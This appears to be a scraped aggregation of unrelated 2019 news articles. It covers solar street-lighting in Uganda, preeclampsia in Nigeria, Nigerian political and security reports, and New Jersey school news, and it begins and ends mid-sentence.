resignation of Mr. Stephen Pearce from the board of directors effective immediately. The Company wishes to sincerely thank Mr. Pearce for his contributions and wish him the very best in his future endeavours.Progressive Planet is a Canadian based mineral exploration company with its flagship Z1 Zeolite Quarry in British Columbia, and a 100% interest in the Buckingham Graphite Project in Quebec.ON BEHALF OF THE BOARDSigned "Stephen Harpur"Stephen Harpur, CPA, CGACEOFor further information or investor relations inquiries, please contact us:1-800-910-3072Investors@ progressiveplanet.ca Forward-Looking Statements:Some of the statements in this news release contain forward-looking information that involves inherent risk and uncertainty affecting the business of Progressive Planet Solutions Inc. Actual results may differ materially from those currently anticipated in such statements. Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.SOURCE: Progressive Planet Solutions Inc. By Andrew Sudmant, University of Leeds and Andy Gouldson, University of Leeds Street-lighting is important. It allows informal vendors and traders to operate for longer hours and improves road and public safety. It also makes streets feel safer and more secure, especially for women. But street-lighting is sorely lacking in many of sub-Saharan Africas cities, and where it is present its highly unreliable. In Kampala, Uganda, for example just 8% of the citys paved road and street network is illuminated. In cities faced with multiple pressing challenges and very limited budgets, street lighting is rarely a priority. Even when theres political will, there are major barriers to implementing conventional street-lighting. Many cities have large areas of informal settlements which arent connected to the national grid. The upfront costs of grid connectivity and street light infrastructure like poles, lamps and pavements are huge. The solution may lie instead with solar lighting. We wrote a policy research paper based on work we did in two Ugandan cities, the capital Kampala and Jinja a secondary city with a population of around 80,000, and found that solar street-lighting could offer a cheaper, more sustainable solution and bring huge benefits. Solar street lights are cheaper to install and operate since they generate their own power, instead of drawing from the grid. Saving money We chose Kampala and Jinja because both cities governments had installed solar street lights in 2018: more than 1800 in Kampala and 92 in Jinja. We wanted to know what the lights impact had been since they were installed and if this could be replicated in other cities across Uganda and sub-Saharan Africa. We analysed national policy documents and city development strategies and consulted with research colleagues at Makerere University in Kampala to identify a range of stakeholders to interview. In total, we interviewed 23 people including government officials, NGOs and members of local communities, like business owners and road users. Across the two cities, the average cost for a solar light was around USD$1,600 per solar street light pole, compared to USD$2,150 for a conventional street light pole. In Jinja the citys US$350,000 electricity debt led to the conventional street lights being turned off. They are still off today. If these projects were replicated nationwide, the Ugandan government could reduce its upfront costs by 25%, electricity costs by 40% and maintenance costs by 60%. Solar lighting also had almost no operating costs because you put the lights up and leave the sun to do the rest. Conversely, conventional lighting incur large electricity bills and higher maintenance costs because bulbs need to be replaced more frequently. Multiple benefits Local residents and NGO workers we spoke to identified many knock-on effects from both solar street-light projects. In Jinja residents of a low-income settlement, where 20 solar street lights were installed, said that the lights created safer streets and allowed small businesses to stay open for an extra five hours per day. This is particularly important for low-income groups who can now make more money in the day. The street lights have the potential to do much more. For example, solar lights can help increase trading hours for small businesses. And thanks to savings on electricity, the cities governments could also redirect saved funds into the setting up of more street lights and other public services. Rolling out Though we found many benefits to the use of solar street-lights, there were challenges too. First, cities in Uganda, as in many sub-Saharan Africa countries, lack the domestic expertise to plan and implement new solar lighting projects. This means municipalities have to rely on external donors for developing city plans rather than developing domestic markets which could spur national growth. Second, though the economic case for choosing solar over conventional street lights is clear, municipalities lack the necessary capital to finance their upfront investment. Theres also a high risk that replacement lights could be unaffordable if municipal budgeting is not improved. To overcome these challenges, national governments should create a more robust regulatory framework to grow and control domestic solar markets; building the capacity of municipal staff to plan, finance and deliver infrastructure projects; and ensure a wide range of stakeholders - including local communities - are involved in the planning of projects in order to maximise the social returns. Lucy Oates, a Research Fellow on the Economics of Climate Smart Cities research program at the University of Leeds, contributed to this article. Andrew Sudmant, PhD candidate and research Fellow in the Economics of Climate Smart Cities research programme, University of Leeds and Andy Gouldson, Professor of Environmental Policy and Associate Pro-Vice-Chancellor (Interdisciplinary Research), University of Leeds This article is republished from The Conversation under a Creative Commons license. Read the original article. Advertisements The conversation President Maithripala Sirisena on Friday said the leader of an extremist group who planned the multiple suicidal attacks in Sri Lanka over the weekend was among those killed in one of the blasts. Sirisena told journalists that Zaharan Hashim was confirmed killed when he blew himself up in one of the five-star hotels, local investigators confirmed. The bomber, known as Zaharan, led a group known as the National Thowheeth Jamaath and was known to have spread extremist ideology in various parts of the country. Zaharan was responsible for organising attacks on Buddhist statues in central Sri Lanka in December. A senior army officer at the briefing said that they had closely studied Zaharans facial features from available videos and compared them with the suicide bomber and determined that he had been killed. A DNA test is currently being carried out to confirm this. Meanwhile Sri Lankas health authorities have revised down the death toll in Sundays blasts, claiming only 253 deaths could be confirmed so far in contrast to the figures given by the police earlier, which said 359 people had died. Security in Sri Lanka has been stepped up further, with many, although not all, mosques cancelling Friday prayers in view of the security situation. (dpa/NAN) Tanzanian President John Magufuli on Friday pardoned 3,540 prisoners as the east African nation marked its 55th anniversary of the Union with the Zanzibar archipelago. Zanzibar merged with Tanganyika on April 26, 1964 to form the United Republic of Tanzania, a deal which was witnessed by Zanzibars founding President Abeid Karume and Tanzanias founding President Julius Nyerere. This was contained in a statement issued by Jacob Kingu, the Permanent Secretary, Ministry of Home Affairs in the commercial capital Dar es Salaam. It is the governments expectations that the pardoned prisoners will rejoin and cooperate with members of the society in nation building. We also expect them to avoid committing offences that will take them back to prison, added Mr Kingu. Mr Magufuli issued the pardon to prisoners in accordance with authorities conferred to him under Article 45 (1) (d) of the Constitution of the United Republic of Tanzania. The statement said beneficiaries of pardon included people convicted before March 15, 2019, those suffering from chronic diseases including HIV/AIDs, tuberculosis and cancer and have been medically diagnosed. Other beneficiaries of the pardon were prisoners above 70 years old, those with physical and mental disabilities, female prisoners convicted with pregnancy and those bearing young babies, said the statement. The statement said people convicted for murder, suicide and infanticide, those sentenced for life imprisonment and later changed to normal sentences and convicts of drug trafficking and abuse were not recipients of the pardon. The statement added that people convicted for indecent assault, rape, defilement and violence against children, convicts of car, motorcycle theft, destruction of infrastructure and those serving jail terms under parole will also not benefit from the pardon. Convicts of office abuse, money laundering and economic sabotage, previous beneficiaries of presidential pardons and those convicted for preventing their children from accessing education will also not be beneficiaries of the pardon, it added. (Xinhua/NAN) U.S. President Donald Trump has rejected a UN arms trade treaty that was approved by his predecessor Barack Obama and is currently waiting in the Senate for ratification. The UN will soon receive a formal notice that America is rejecting this treaty, Mr Trump said on Friday, addressing the National Rifle Association (NRA), a pro-gun group, denouncing the badly misguided agreement. On stage in Indianapolis, Mr Trump then signed a formal message to the Senate asking lawmakers to discontinue the treaty ratification process. And to return the now rejected treaty right back to me in the Oval Office, where I will dispose of it, he said to applause. Mr Trump signed the letter and then threw the pen to the crowd, which was chanting U-S-A. We are reaffirming that American liberty is sacred and that American citizens live by American laws, not the laws of foreign countries, said Mr Trump. In the final weeks of his presidency, Mr Obama had sent the treaty to the Senate, which must approve international treaties under the U.S. Constitution. The Arms Trade Treaty regulates the international trade in conventional arms. According to the UN, 101 states joined the ATT. It entered into force in 2014. Obama pledged it would not infringe on the U.S. constitutional right to gun ownership. Mr Trump also used his speech to hail U.S. states that have allowed trained teachers to carry guns in the classroom to protect themselves and their students who they love. The U.S. has seen a spate of school shootings over the past two decades. (dpa/NAN) For Toyin Ajibade (not real name), having a baby went from her happiest moment to her scariest. Mrs Ajibade tried to conceive for six years and finally did through in-vitro fertilisation (IVF). But she never imagined the pregnancy would come with complications that almost took her life. I was looking forward to my pregnancy and having photo-shoots of my baby bumps. Unfortunately, I could not. The complications started 28 weeks (in the third trimester) into her pregnancy. Mrs Ajibade said aside from the normal morning sickness in the first trimester, she was doing well until week 28. I stopped sleeping and all the medication I was given were not working. I thought it was part of the normal complications of being pregnant. But when I began feeling dizziness in my head, my doctor gradually increased my sleeping medication until he could not any longer, in order not to harm the child. That was when we knew there was a problem, she recalled. Meanwhile, I was registered for ante-natal from the onset of the pregnancy because I got pregnant when I was around 34 years. That step probably saved her life. According to Mrs Ajibade, the doctors were at first perplexed until they noticed that her Blood Pressure (BP) kept rising. It was then they realised she had a pregnancy-related complication known as preeclampsia. Preeclampsia is pregnancy-induced hypertension and protein in the urine which affects some pregnant women. Five months into her pregnancy, she observed that her feet, hands, and face were swollen. She initially thought this was normal until her morning sickness started again in the sixth month of the pregnancy. She was vomiting until the 36th week when the doctors had to bring the baby out by surgery. Her BP kept rising, peaking at 160/140 at week 36. She was having fainting spells when walking, dizziness and was always throwing up. Once you are pregnant, whether you are young, middle-aged or old, make sure you go to a good hospital and register. Whenever I walked I felt like there were puddles of water at my feet. I always told my husband that I felt as if fishes were swimming in my legs. I used to wear size 39-40 shoes. I went up to 42 and started wearing my husbands shoes. I could not wear any of my shoes. My feet were tired as they were so big and the headache was out of this world. Mrs Ajibade said immediately the BP started rising, her doctor ruled out a normal delivery. The doctor said she had to go through Caesarean Section (CS). Mrs Ajibades case would have been further complicated if she had diabetes as patients usually do alongside preeclampsia. During the surgery, she lost consciousness for three days and her BP kept rising. I did not see my baby until 72 hours after birth. Despite the emergency CS, my BP did not come down. Normally it should be falling gradually but mine kept rising. The doctors were worried, I was in the ICU for three days and was just drifting in and out of consciousness, she recalled. Three years after, Mrs Ajibade still struggles with her BP. She was not hypertensive until her pregnancy, although she has a history of hypertension in her family. Up till now, I still struggle with my BP. If I get pregnant now, they will term it high-risk pregnancy, she said. What is Preeclampsia? Preeclampsia is a dangerous pregnancy complication, one of the leading causes of maternal and infant mortality and illness. Unfortunately, preeclampsia has no cure, it is not easily detected and is often missed. Advertisements There are no accurate statistics for the incidence of preeclampsia. However, it is estimated that it occurs in three to 10 per cent of all pregnancies worldwide. According to the World Health Organisation (WHO), the incidence of preeclampsia is seven times higher in developing countries (2.8 per cent of live births) than in developed countries (0.4 per cent). Although there are no accurate statistics on preeclampsia in Nigeria, there are an estimated 100,000 cases per year. Infant death is one of the most devastating consequences of preeclampsia. In the United States, approximately 10,500 babies die from preeclampsia each year and an estimated 500,000 worldwide. Despite medical advances, the only known cure for preeclampsia remains assisted delivery of the baby and placenta. Preeclampsia alters blood flow from the mother to the placenta, resulting in an insufficient supply of oxygen and nutrients to the baby inside the womb. It usually reveals itself after 20 weeks of pregnancy and sometimes even in port partum phase (after delivery). The disease is characterised by elevated blood pressure and a high level of protein in the urine. Women with the disease complain of sudden weight gain, severe headaches, visual disturbances, upper abdominal pain, excessive swelling in the face, feet and legs. But these are often misdiagnosed as side effects of pregnancy. Medical expert explains A consultant gynaecologist at the University College Hospital (UCH), Ibadan, Chris Aimahiku, said preeclampsia is a disease where some women develop high blood pressure in pregnancy. He said it affects the kidney, making the sufferer have protein in her urine. It is a disease of hypertension and proteinuria. It is a disease that a woman will not have usually since she is not hypertensive; she develops the disease around the 20th week of pregnancy, he said. Mr Aimahiku said pregnancy is usually for 40 weeks or nine months. But, halfway into pregnancy, the woman may develop high blood pressure and this can also affect the kidney. That is where we have the proteinuria. This is a severe disease because it just happens and causes a lot of complications. You may want to ask why it happens. Unfortunately, it is a disease of theory because we do not know why people develop it. But one thing is certain; it is a disease that affects the placenta (Placenta is what separates the mother from the baby). Imran Morhason-Bello, an honourary consultant at the Department of Obstetrics and Gynaecology also at UCH, said a diagnosis of the diseases is based on new onset of hypertension and proteinuria. This, he said, can also affect multiple organs in the body, especially the kidney and liver. Mr Morhason-Bello said so many theories are associated with preeclampsia. One is that preeclampsia is common among first-timers, more common among people in the extreme of the reproductive age group; that is pregnant adolescent young girls or women who for whatever reason delay child bearing till very late. Women above 35 years are most likely at the risk of developing pregnancy-induced hypertension. He said there is also a story of new husband syndrome. This he explained occurs when a woman who recently changed husband or sexual partner takes in and her body tends to react like that of a first timer. This makes them also prone to the disease. Preeclampsia is also common among women who have chronic hypertension; they may have what is termed chronic hypertension with super-imposed preeclampsia. It is also common among women who have had preeclampsia pregnancy, meaning they could have it in the next pregnancy. It is also common among women with multiple pregnancies and other medical complications like diabetes, Mr Morhason-Bello said. He, however, said the real cause of the disease is not known. But there are different theories such as genetics, vascular problem, and autoimmune problems among others. Managing preeclampsia Mr Morhason-Bello said the best way to manage the illness is early presentation at health facilities. Pregnant women, irrespective of the number of births, should present early for ante-natal. That is why we tell every woman who is pregnant to register for ante-natal in the first trimester (first three months) so that they will know her blood pressure, take her urinalysis, and other necessary tests. This will help the health workers know those who do not have blood pressure and when it begins to rise. We also want to check when preeclampsia surfaces. By definition, it is any woman who has a blood pressure of 140/90ml of mercury and above with significant proteinuria. Such tend to have preeclampsia, he said. Mrs Ajibade also advised pregnant women to attend ante-natal and not wait till delivery or when they start having complications. Delay, she said, could lead to loss of mother or child or even both, as the health professionals may not know what to look for at such stage if they do not have the medical history of the woman. On the management of the disease, Mr Morhason-Bello said preeclampsia is classified into mild and severe ones. He said with severe preeclampsia, many patients would be bloated, have swollen faces, tummy, hand and feet, such that they may not be able to remove their wedding rings. This condition can also affect them that they will not be able to pass urine. So if nothing is done, such women can go into convulsion and have what is called eclampsia, he said. He said eclampsia accounted for a significant proportion of the cases in the country. For preeclampsia, some researches in Nigeria show that three to five per cent of pregnant women have the disease. Because the blood vessels are affected, the baby may not grow well and sometimes it may die in the womb. The category of the disease is either mild or severe preeclampsia. If it is mild, the woman is advised to report frequently at the hospital for checkups. Usually, at 38 weeks, she would be induced for delivery. Mr Morhason-Bello said in cases of severe preeclampsia, the principle of management is to prevent convulsion, control BP and deliver the baby in the fastest and safest way. He said management of severe cases should be done in facilities that have good neonatal care, where they can control blood pressure and plan delivery. This is because the baby could be brought out premature and might need neonatal attention. However, in some severe cases, the baby might be brought out dead because they are not yet matured to live and the doctors need to save the mothers life. If the babys gestational age is less than 34 weeks, the doctor might want to buy time for the baby to mature, but at 34 weeks the baby is matured, he said. The dilemma is when the baby is between 20 and 24 weeks. The doctor has to weigh the options and know if the woman can be managed till 34 weeks. In a case where such is of more risk to the womans life, delivery is essential at this point, even if the baby is premature. How to manage preeclampsia 1. Early ante-natal registration and attendance is advised for pregnant women 2. Constant checking of the blood pressure 3. Report to a good medical facility if blood pressure is high 4. Discuss extensively with a caregiver during ante-natal 5. Endeavour to carry out all medical test advised during pregnancy 6. Watch out for abnormal body changes such as swelling in the leg and feet, sometimes dizziness and gaining more than 4lb a week. Risk factors While more research is needed, medical experts agree upon the following risk factors: 1. Multiple pregnancies 2. Obesity and primigravidity 3. Medical history of chronic high blood pressure, diabetes or kidney disorder 4. Pre-existing hypertension, diabetes, connective tissue disease such as rheumatoid arthritis 5. Pregnancy in early teens or past age 40. The bottom line is that a pregnant woman has to register in hospital early for ante-natal care. Early detention is vital in the management of preeclampsia. Chris Ngige has reversed his comment that Nigeria has surplus doctors and he was, thus, not worried about Nigerian doctors leaving the country to go practice in other climes. After public condemnation, the labour minister alluded to Nigeria falling short of the World Health Organisations benchmark ratio of one doctor to six hundred patients, saying he was misquoted. He however maintained that every other thing he said was an existential reality, useful and constructive fact. Speaking on Channels Televisions Sunrise Daily on Wednesday, Mr Ngige had said Nigeria has more than enough doctors to cater for its health needs and can even export. The comment drew rage from many Nigerians, especially medical professionals who have been struggling to tackle the challenge of brain drain in the health industry. No, I am not worried we have a surplus If you have a surplus, you export, Mr Ngige had said while responding to a question regarding Nigerian doctors who wished to relocate their practice abroad. He did not provide any evidence to back his claim. While Nigerians on social media questioned the ministers understanding of the health sector, experts said the minister spoke from a position of ignorance and a politician that doesnt understand what is going on. A previous check by PREMIUM TIMES showed that Nigeria had over 39,000 registered medical doctors in 2017 according to official data from the Medical and Dental Council of Nigeria (MDCN). This implies that with an estimated population of 193 million as of 2016, Nigeria had one medical doctor to about 4,845 citizens, less than 20 per cent of the WHO recommendation. The News Agency of Nigeria (NAN) reported that the minister rephrased his position on the issue in a statement Thursday signed by Nwachukwu Obidiwe, his Special Assistant on Media. Apart from Nigerias non-compliance with the World Health Organisations ratio of one doctor to six hundred patients of which I was misquoted. Every other thing I said in that interview is an existential reality, useful and constructive facts which every Nigerian that watched the full interview will hardly dispute. I invite opinion moulders especially those who have spoken or written on this issue to watch the full clip of my interview with the channels. And it is for this reason that I admitted having a little cause to worry about brain drain among medical doctors. Why doctors are leaving Ngige The minister explained why doctors are leaving the country. Nigeria at present does not have enough health facilities to accommodate all the doctors seeking to do tertiary specialist training (residency) in the teaching hospitals, federal medical centres and few accredited state and private specialist centres in the country. He said roughly 20 per cent of the yearly applicants were being absorbed while the remaining 80 per cent tried their luck elsewhere. Most of these rejected applicants usually throng the Federal Ministry of Health and that of Labour and Employment to complain of being illegally schemed out. PREMIUM TIMES reported last year the high rate of failure by foreign trained medical students in the assessment examination conducted by the MDCN. Of the 501 medical students that sat for the examination conducted last April at the University of Ilorin Teaching Hospital in Kwara State, only 132 of them passed. Many of the students complained of being deliberately failed by their supervisors, a claim denied by the organisers. This prompted the Nigerian government to direct the council to investigate the phenomenon. Advertisements Backtracking? The statement explained further that what the minister meant was that these professionals had the right to seek training abroad to sharpen their skills and become specialists. They later turn this problem to a national advantage when they repatriate their legitimate earnings and later return to the country. Even where some of these doctors are bonded to their overseas training institutions, examples abound on the large number of them who have successfully returned to settle and establish specialist centres across the country. It is, therefore, a question of turning your handicap to an advantage, the minister said. He explained that the Ministry of Labour and Employment had a migration policy, developed with the European Union to assist skilled Nigerians to work and earn decent living abroad. He also noted that the Senior Special Assistant to the President on Diaspora had done a lot of work in encouraging Nigerian professionals abroad to return. Luckily, the Ministry of Health in conjunction with the Ministry of Labour and Employment is developing a federal assisted programme for these young doctors and other allied health professionals such as pharmacists, physiotherapists in a move to broaden training opportunities, he said. Internal Brain Drain? The minister insisted that Nigeria has enough medical personnel to man non-specialist centres in the rural areas. He however said the major problem was the refusal of young doctors to work in the hinterland. Even the National Youth Service Corps doctors, all, today seek postings to the cities as against what obtained some decades ago. Besides, doctors who did not get the few vacancies in the tertiary centres especially those owned by the federal government find it difficult to work in the rural hospitals. Background This poor doctor to patient ratio in Nigeria has been attributed to brain drain. The movement of skilled workers internationally represents brain gain for the countries that reap their skills and experience, and brain drain for their countries of origin. PREMIUM TIMES reported last year that there has been a massive brain drain in the Nigeria health sector as doctors leave country in droves. It is estimated that at least 12 Nigerian doctors leave the shores of this country to practice overseas, weekly. Statistics from the General Medical Council (GMC) of the UK, as at July 2017 revealed that over 4,765 Nigerian doctors are working in the UK. This is 1.7 per cent of the total of the UKs medical workforce. The Kaduna State Government has imposed a 24-hour curfew on Kajuru Local Government Area. This follows reports of fresh violence in parts of the local government, Details of the violence are still sketchy, but the state government announced the imposition of the curfew. Samuel Aruwan, the spokesperson to Governor Nasir El-Rufai, announced the curfew in a Facebook post. Following events in Kasuwan Magani, the dusk to dawn curfew that has been in place in Kajuru LGA had been extended to 24-hours in the entire local government area. The 24-hour curfew in the entire Kajuru LGA is with immediate effect, and will be enforced until further notice, Mr Aruwan wrote. Kajuru and other parts of Southern Kaduna have witnessed attacks and retaliatory attacks by various communities. The conflict, which usually takes ethnic and religious dimensions, has led to the death of scores of people in the past few months. More details later The Chief of Army Staff, Tukur Buratai, has approved the appointment of the pioneer Registrar, Nigerian Army University, Biu, Shuaibu Ibrahim, as the new Director General of the National Youth Service Corps (NYSC). Mr Ibrahim, a brigadier-general, replaces Suleiman Kazaure, a major-general who was on the saddle since April 18, 2016 as the NYSC boss. Born on July 13, 1967, Mr Ibrahim, a graduate of University of Jos, attended Nigerian Army Education Corps (NAEC) Young Officers Course 1994, Infantry (INF) Young Officers Course 1996, Training Development Advisers Course (TDA) 2004 and NAEC Officers Executive Management Course 5/2013. He obtained Doctorate Degree (Phd) in History from the University of Abuja in 2007. His research area was centered on Economic and Military History as well as Intergroup Relations. Some of the previous positions he held in the military included Research Officer, Institute of Army Education (IAE); Military Assistant to the Director General of NYSC 1996-1999; Staff Officer Military History, National Defence College (NDC) 2004 2009; Senior Instructor, Nigerian Army School of Education 2009 2011; Staff Officer I Books Resources Procurement, Headquarters Nigerian Army Education Corps 2011 2012; Commandant Command Secondary School Suleja 2012-2014; Head of Department, History and War Studies at the Nigerian Defence Academy Nigerian Defence Academy 2014-2018. Mr Ibrahim is a professional member of Historical Society of Nigeria (HSN), Teachers Registration Council of Nigeria (MTRCN), Exam Ethics Marshal International (An Exam Ethics Marshal), Editorial Board, Ibom Journal of History, University of Uyo, Editor-in-Chief, Journal of History and Military Studies, Nigerian Defence Academy, Kaduna. He has authored publications, chapters in reputable academic journals. In the course of his military careers, he has received several awards including Forces Service Star (FSS), Meritorious Service Star (MSS)and Distinguished Service Star (DSS). Other special recognitions he received are Chief of Army Staff Award as the Overall Best Participant for 2013 NAEC Executive Management Course; Nigerian Institute for Public Relation (NIPR) Special Recognition Award 2014; Award for Distinguished Professional Contributions to Public Services/Fellowship (FCAI) by Institute of Corporate Administration; Professional National Award of the Historical Society of Nigeria HSN 2018 and COAS Commendation Letter 2018. The Economic and Financial Crimes Commission, EFCC, Ibadan Zonal Office, on Thursday said it arrested 32 suspected internet fraudsters, better known as Yahoo-Yahoo Boys. The suspects were arrested at Liberty Estate, Laderin area of Abeokuta, the Ogun State capital, in an early morning sting operation, the commission said. Ranging between the ages of 15 and 39 years, the suspects were taken by surprise when EFCC operatives swooped on them at one of their havens in the estate, Tony Orilade, EFCC spokesperson wrote in a statement. Fourteen of them claimed to be undergraduates, while 18 others said they are self-employed in various vocations. Their arrest was sequel to a petition detailing their alleged fraudulent activities, including internet fraud through which they obtain illicit funds from unsuspecting victims, he added. Mr Orilade said items recovered from them include six exotic cars, laptops, mobile phones, several documents containing false pretences and fetish objects. The suspects are already helping operatives of the commission with useful information. They will be charged to court as soon as investigations are concluded, he said. The U.S. Agency for International Development (USAID) has said it will work with the American University of Nigeria (AUN), Yola, to re-establish basic education in Adamawa and Gombe state. The two states are in the conflict-ravaged northeastern Nigeria. The US agency said the partnership will help strengthen basic education for 200,000 students. The agency disclosed this in a press statement it sent to PREMIUM TIMES Friday evening. It said AUN will collaborate with Columbia and Kent State Universities in the U.S. under a three-year $13.3 million agreement. The statement said USAID and AUN will partner with local governments and community leaders to implement the project titled Addressing Education in Northeast Nigeria (AENN). It said the project aims to improve the ability of education managers to plan and deliver basic services in line with the states education sector strategy. According to the statement, the USAID Education Office Director, Denise OToole, said the support is to help a major institute of higher learning in the northeast re-establish the basics of primary education for thousands of students. This new activity focuses on some of the most vulnerable areas of Nigeria, where insurgents have made eradication of education a specific tenet of their policy, he said. He said AENN will also address the social and emotional challenges that both educators and learners face from the disruptions caused by the extremist insurgency. He said the project will address the challenges facing the education systems in Adamawa and Gombe states by training 100 education managers. We will also improve the instructional skills of 5,000 teachers, and focus on specific training for female teachers in 200 primary schools, he said. Out-of-school children in Nigerias northeast The News Agency of Nigeria in 2018 reported the Gombe State Universal Basic Education Board saying it planned to reduce the number of out-of-school children in the state in 2018/2019 academic session by 50 per cent. The report quoted the Acting Secretary of the board, Zulaihatu Madugu. According to Mrs Madugu, UNICEF said there are over 450, 000 out-of-school children in the state, but I think that statistics is more than the actual figure. She said the result of the school audit by the Universal Basic Education Commission(UBEC) will give the actual figure. Premium Times also reported that the United Nations Childrens Fund (UNICEF) was targeting over 501,749 out-of-school children in four northern Nigerian states in its Educate A Child (EAC) programme. The EAC was introduced as a funding window to reduce the number of out-of-school children in Katsina, Kebbi, Sokoto and Zamfara states by 2020. Access to education in the northeast has severely declined since the Boko Haram insurgency and banditry began displacing families and communities a decade ago. Boko Haram was founded by Mohammed Yusuf in 2002 but the group has been led by Abubakar Shekau since 2009. When Boko Haram first formed, their actions were nonviolent. Their main goal was to purify Islam in northern Nigeria. However, since the current insurgency started in 2009, Boko Haram has killed tens of thousands and displaced 2.3 million from their homes. The Global Terrorism Index in 2015 ranked Boko Haram as the worlds deadliest terror group. The Kaduna State Police Command on Friday said it had in the last few weeks, arrested 36 suspected criminals and recovered 486 livestock from cattle rustlers in the state. The Commissioner of Police (CP), Ahmad Abdurrahaman, made the disclosure while speaking with Journalists on Friday in Kaduna. He attributed the feat to the recently launched Operation Puff Adder by the Inspector General of Police, Mohammed Adamu and the subsequent confidence building campaign the Command vigorously carried out under my supervision particularly along Kaduna Abuja Expressway. The CP said the efforts recorded some successes with the arrest of 36 suspects belonging to different suspected criminal gangs who allegedly terrorise citizens of the state. It has become expedient that I keep you abreast of the successes recorded in the fight against crime and criminality in Kaduna Command during the few weeks under review. Recently, we have embarked on intensive manhunt of bandits and other criminals that attack people while pursuing their normal businesses within the Command with a view to arresting and bringing all the culprits to book. He disclosed that the command within the period under review, recovered 486 livestock made up of 393 cows and 93 sheep from rustlers. The CP said while nine of the suspects were arrested for alleged criminal conspiracy and armed robbery; 18 suspects for criminal conspiracy kidnapping and armed robbery; six of the suspects were nabbed for criminal conspiracy armed robbery and cattle rustling. Mr Abdulrahman disclosed that most of the suspects were between the ages 20 and 30. The CP said among the suspect, was Mohammed Jamilu, 30, who specialises in defaming high profile personalities by putting his victims in fear of death or grievous hurt through false information that is capable of inciting disturbance to extort money from his victims. The suspect went round meeting clergymen and telling them that the executive Governor of Kaduna State, Malam Nasir El-Rufai had contracted him to eliminate some notable clergymen in Kaduna State. The police acted on intelligence and arrested the suspect and he has confessed to the allegation. he said. Weapons recovered He said the operatives from the commands intelligence unit recovered from the suspects three AK47 rifle with 27 round of live Ammunition, one locally made pistol and one Dane Gun. Also recovered from him included a pair of army camouflage uniform, a navy blue-coloured Honda Civic vehicle with Reg. No. BL688GWA, Chassis No. JHMEJ933005017783 and two unregistered red coloured Bajaj motorcycles. Others are; a Samsung S8 plus, a techno handset, one axe ,four Cutlasses, assorted Charms, three torchlights, one pincher and a Dog . He said the command would arraign the suspects in court once it concluded its investigation. Kasuwam Magani crisis On Kasuwan Magani crisis in Kajuru Local of Area of the state, Mr Abdurrahaman said both human and vehicular movements had been restricted with the imposition of 24-hour curfew on Friday (today) by the state government. He noted that the command had deployed enough security operatives to the affected area to forestall further violence. (NAN) Another group has filed an application at the Federal High Court in Abuja seeking the disqualification of Ademola Adeleke as the senator representing Osun West district. The application dated April 26 has Akinwale Olaniyi and Akinjide Monsuru as the plaintiffs. They are asking the court to restrain Mr Adeleke from further parading himself as a senator representing Osun West Senatorial district of the state. In the suit marked FHC/ABJ/CS/462/2019, the plaintiffs are praying the court to direct Mr Adeleke to refund all salaries, allowances and other emoluments he has received as a senator. According to the plaintiffs, their prayers are pursuant to section 65(2)(a) of the 1999 Constitution and the judgment of an FCT high court sitting in Bwari, delivered on April 2. The Federal Capital Territory High Court in Bwari presided by Othman Musa had on that date held that Mr Adeleke failed to prove in court that he graduated from a secondary school, as required by section 177 of the Nigerian Constitution. The judge added that the results Mr Adeleke attached to his form CF001, which he submitted to the Independent National Electoral Commission (INEC) for the Osun governorship election, was fake. He stressed that the result was found to be different from the one presented to the court by the Principal of Ede Muslim High School, Ede, where he claimed to have graduated. An appeal court later upturned that ruling. The plaintiffs in the new suit are also seeking an order directing the INEC to withdraw the certificate of return already issued to Mr Adeleke as the elected senator representing Osun West Senatorial District. No date has been fixed for mention of the case. Mr Adeleke was recently declared the authentic winner of the Osun State governorship election held last year. He was declared the winner by the election petition tribunal which upturned the victory of the sitting governor, Gboyega Oyetola, of the All Progressives Congress. Mr Isiaka has appealed the ruling. The appeal court has listened to both all parties, including INEC, but is yet to fix a date for its judgement. An Egg Harbor Township High School student will perform his original song, Wasting Time, next month as part of a statewide drug prevention music competition. Junior Jermaine Bethea was selected as the Atlantic County finalist for the 15th annual New Jersey Shout Down Drugs high school music competition, sponsored by the Partnership for a Drug-Free New Jersey. Jermaine is an exceptionally talented young man, who is a member of our Communications Academy and has been featured in numerous musical and dramatic productions at our school, said Egg Harbor Township High School Principal Terry Charlton. Our community is very proud to see him recognized for an original composition focused on avoiding the dangers of drug use and wishes him the best at the state finals.{span class=print_trim}(tncms-asset)01fe5190-1f55-11e9-a47b-00163ec2aa77[0](/tncms-asset) Thirteen acts consisting of 24 students from nine counties will compete May 10 at Rutgers Universitys Mastrobuono Theatre for $10,000 in music contracts. Last year, the high school was named a finalist in the competition and was awarded $10,000 for the districts art program. +3 Middle Twp. High School students compete in Vans art contest for $75K Middle Township High School students are asking the public to go online and vote for their The $10,000 prize has been used for new supplies, including paint, pottery wheels, high-quality drawing pencils, visiting artists and field trips. If we were to win the $75,000 prize, we would be able to invest in technology, programs like InDesign, Photoshop and more resources, senior Julia Mallett wrote in the districts impact letter, a requirement of the contest. Mallett said becoming a finalist last year had a positive community impact and created a sense of togetherness. In our small town, success like this does not happen often, and when it does, it really matters. Winning would give our team, school and the community a sense of pride and validation, as well as the resources to help our art program grow, Mallett wrote. They were also able to add an Advanced Placement art class to the districts offerings. +7 Egg Harbor Township middle school students showcase STEAM education EGG HARBOR TOWNSHIP Sixth-grade students from Fernwood Avenue Middle School showcased thei In addition to Mallett, students Gia Conte, Emmy Clarke, Bella DiPasquale, Rachel Williams and Hailey Urbaczewski also worked on the sneakers. TRENTON Manuel Da Silva was named Friday acting CEO of the Schools Development Authority by Gov. Phil Murphy to replace Lizette Delgado-Polanco, who resigned earlier this week amid questions over hiring practices. Da Silva, who most recently served as vice president of construction operations, will be considered by the board to serve on an interim basis. +19 School officials celebrate as $137M Millville High School expansion underway MILLVILLE Its been decades since the freshmen at Millville High School attended the same The SDA oversees construction projects in 31 of the states poorest school districts. Delgado-Polanco, a native of Hammonton, was appointed by Murphy last year. She came under fire after The Record newspaper reported she hired family members and several candidates who lacked the relevant qualifications for their positions. Among her most recent appearances, Delgado-Polanco helped kick off construction of an addition at Millville High School to stem overcrowding. She was also present for the opening of a new middle school on Lincoln Avenue in Vineland before the start of the school year. +8 Vineland officially opens new Lincoln Avenue school VINELAND Two years after breaking ground on the $49.8 million building, school officials f Days after her resignation, Delgado-Polanco also stepped down as vice chairwoman of the New Jersey Democratic State Committee. Question: Years ago, I inherited a number of old cigarette lighters when my grandfather died. Although I gave most to family members, I kept a few and hope you can tell me something about my favorite. It is a 2 1/2-inch-long molded lighter shaped, textured and colored to resemble a large 